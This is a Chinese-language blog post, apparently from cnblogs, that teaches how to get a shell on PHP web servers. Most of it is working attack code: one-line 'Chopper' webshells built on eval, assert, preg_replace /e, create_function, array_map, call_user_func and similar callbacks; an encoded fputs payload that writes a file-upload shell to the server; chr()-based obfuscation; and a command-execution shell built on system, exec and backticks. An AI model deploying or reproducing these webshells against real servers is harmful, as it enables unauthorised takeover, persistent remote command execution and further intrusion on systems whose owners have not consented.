【随笔】菜刀(代码执行)函数和命令执行函数详解及Getshell方法

代码执行函数 VS 命令执行函数

  菜刀的原理其实是调用了代码执行函数。而菜刀之所以能够执行系统命令和上传文件,也是调用了命令执行函数。

命令马的原理是调用了命令执行函数。

  这两种都能够getshell(以上传大马为准)因为有一些服务器做了限制,比如菜刀连不上,或者禁用了某些函数,或者利用SQL注入写文件和XML之类的漏洞,所以有时候在有了菜刀马和命令马之后要上传大马还是有一些波折的,当然能够直接上传或写入大马的除外。

 一、

首先是菜刀马:

  菜刀马的原理是调用了PHP的代码执行函数,比如以下1和2两个常见的一句话菜刀马,就是调用了eval函数、assert函数。

1、eval()函数

#传入的参数必须为PHP代码,既需要以分号结尾。
#命令執行:cmd=system(whoami);
#菜刀连接密码:cmd
<?php @eval($_POST['cmd']);?>

那么当我们上传了eval函数的菜刀马之后,在连接不上菜刀的情况下怎么上传大马呢?继续往下看

这里我是先写一个上传马,再用上传马去上传大马,有点多次一举,但是考虑到大马代码量太多,还是建议先写个上传马,以下代码只有1kb。

<?php 
@$temp = $_FILES['upload_file']['tmp_name'];
@$file = basename($_FILES['upload_file']['name']);
if (empty ($file)){
echo "<form action = '' method = 'POST' ENCTYPE='multipart/form-data'>\n";echo "Local file: <input type = 'file' name = 'upload_file'>\n";echo "<input type = 'submit' value = 'Upload'>\n";echo "</form>\n<pre>\n\n</pre>";}else {if(move_uploaded_file($temp,$file)){echo "File uploaded successfully.<p>\n";}else {echo "Unable to upload " . $file . ".<p>\n";}}?>

原理是利用文件操作函数如下:

fputs(fopen(shell.php,w),xxxx);

写入xxxx到脚本执行文件当前目录下的shell.php文件。

由于是利用post传参,不能出现【/】【=】【+】等符号,所以这里我们需要把代码编码一下,将上面的上传代码进行两次base64编码(为了去除=号)。

☆☆☆在编码的时候空格和回车都会影响编码后的结果,因此建议大家直接复制我上面的上传马或者用下面我编码好的,或者自己去慢慢尝试直到base64编码后为一串自由数字和字母的字符串即可。

接下来利用文件操作函数写入上传马,注意不要忘了最后的分号。

cmd=fputs(fopen(base64_decode(c2hlbGwucGhw),w),base64_decode(base64_decode(UEQ5d2FIQWdEUXBBSkhSbGJYQWdQU0FrWDBaSlRFVlRXeWQxY0d4dllXUmZabWxzWlNkZFd5ZDBiWEJmYm1GdFpTZGRPdzBLUUNSbWFXeGxJRDBnWW1GelpXNWhiV1VvSkY5R1NVeEZVMXNuZFhCc2IyRmtYMlpwYkdVblhWc25ibUZ0WlNkZEtUc05DbWxtSUNobGJYQjBlU0FvSkdacGJHVXBLWHNOQ21WamFHOGdJanhtYjNKdElHRmpkR2x2YmlBOUlDY25JRzFsZEdodlpDQTlJQ2RRVDFOVUp5QkZUa05VV1ZCRlBTZHRkV3gwYVhCaGNuUXZabTl5YlMxa1lYUmhKejVjYmlJN1pXTm9ieUFpVEc5allXd2dabWxzWlRvZ1BHbHVjSFYwSUhSNWNHVWdQU0FuWm1sc1pTY2dibUZ0WlNBOUlDZDFjR3h2WVdSZlptbHNaU2MrWEc0aU8yVmphRzhnSWp4cGJuQjFkQ0IwZVhCbElEMGdKM04xWW0xcGRDY2dkbUZzZFdVZ1BTQW5WWEJzYjJGa0p6NWNiaUk3WldOb2J5QWlQQzltYjNKdFBseHVQSEJ5WlQ1Y2JseHVQQzl3Y21VK0lqdDlaV3h6WlNCN2FXWW9iVzkyWlY5MWNHeHZZV1JsWkY5bWFXeGxLQ1IwWlcxd0xDUm1hV3hsS1NsN1pXTm9ieUFpUm1sc1pTQjFjR3h2WVdSbFpDQnpkV05qWlhOelpuVnNiSGt1UEhBK1hHNGlPMzFsYkhObElIdGxZMmh2SUNKVmJtRmliR1VnZEc4Z2RYQnNiMkZrSUNJZ0xpQWtabWxzWlNBdUlDSXVQSEErWEc0aU8zMTlQejQ9)));

成功得到上传马,之后就是上传我们的大马了。

2、assert()函数

#assert函数是直接将传入的参数当成PHP代码直接,不需要以分号结尾,当然你加上也可以。
#命令執行:cmd=system(whoami)
#菜刀连接密码:cmd
<?php @assert($_POST['cmd'])?>

上传大马,这一步参考eval函数。

其他的代码执行函数还有以下几个,均给出了菜刀连接方式:

3、preg_replace()

#preg_replace('正则规则','替换字符','目标字符')
#执行命令和上传文件参考assert函数(不需要加分号)。
#将目标字符中符合正则规则的字符替换为替换字符,此时如果正则规则中使用/e修饰符,则存在代码执行漏洞。 preg_replace("/test/e",$_POST["cmd"],"jutst test");

 这里可以使用chr()函数转换ASCII编码来执行代码。

#phpinfo();
eval(chr(112).chr(104).chr(112).chr(105).chr(110).chr(102).chr(111).chr(40).chr(41).chr(59))

4、create_function()函数

#创建匿名函数执行代码
#执行命令和上传文件参考eval函数(必须加分号)。
#菜刀连接密码:cmd
$func =create_function('',$_POST['cmd']);$func();

5、array_map()函数

#array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。 回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致。
#命令执行http://localhost/123.php?func=system   cmd=whoami
#菜刀连接http://localhost/123.php?func=assert   密码:cmd
$func=$_GET['func'];
$cmd=$_POST['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
echo $new_array;

6、call_user_func()函数

#传入的参数作为assert函数的参数
#cmd=system(whoami)
#菜刀连接密码:cmd
call_user_func("assert",$_POST['cmd']);

7、call_user_func_array()函数

#将传入的参数作为数组的第一个值传递给assert函数
#cmd=system(whoami)
#菜刀连接密码:cmd
$cmd=$_POST['cmd'];
$array[0]=$cmd;
call_user_func_array("assert",$array);

8、array_filter()函数

#用回调函数过滤数组中的元素:array_filter(数组,函数)
#命令执行func=system&cmd=whoami
#菜刀连接http://localhost/123.php?func=assert  密码cmd
$cmd=$_POST['cmd'];
$array1=array($cmd);
$func =$_GET['func'];
array_filter($array1,$func);

 9、uasort()函数

#php环境>=<5.6才能用
#uasort() 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联 。
#命令执行:http://localhost/123.php?1=1+1&2=eval($_GET[cmd])&cmd=system(whoami);
#菜刀连接:http://localhost/123.php?1=1+1&2=eval($_POST[cmd])   密码:cmd
usort($_GET,'asse'.'rt');

 二、

 命令执行函数

   PHP执行系统命令的有几个常用的函数,如有:system函数、exec函数、popen函数,passthru,shell_exec函数他们都可以执行系统命

<?php
$cmd=$_POST['cmd'];
echo "<pre>";
#exec($cmd);                        //可执行,但需要加echo才能显示结果
#echo shell_exec($cmd);        //可执行,但需要加echo才能显示结果
system($cmd);                      //可执行并直接显示结果
#passthru($cmd);                   //可执行并直接显示结果
#echo popen($cmd,'r');            //可执行,但需要加echo才能显示是否成功,不会显示结果
#echo `$cmd`;                  //可执行并直接显示结果,反引号,波浪键。
echo "</pre>";

其他函数

#注意,这个只显示结果的第一行,因此基本只能执行whoami
$a = 'system';
ob_start($a);
echo "$_POST[cmd]";
ob_end_flush();

    

参考链接:

https://www.cnblogs.com/xiaozi/p/7834367.html
https://blog.csdn.net/yatere/article/details/7765270
笨鸟先飞早入林,笨人勤学早成材。

转载请注明出处:
撰写人:fox-yu  http://www.cnblogs.com/fox-yu/

猜你喜欢

转载自www.cnblogs.com/fox-yu/p/9134848.html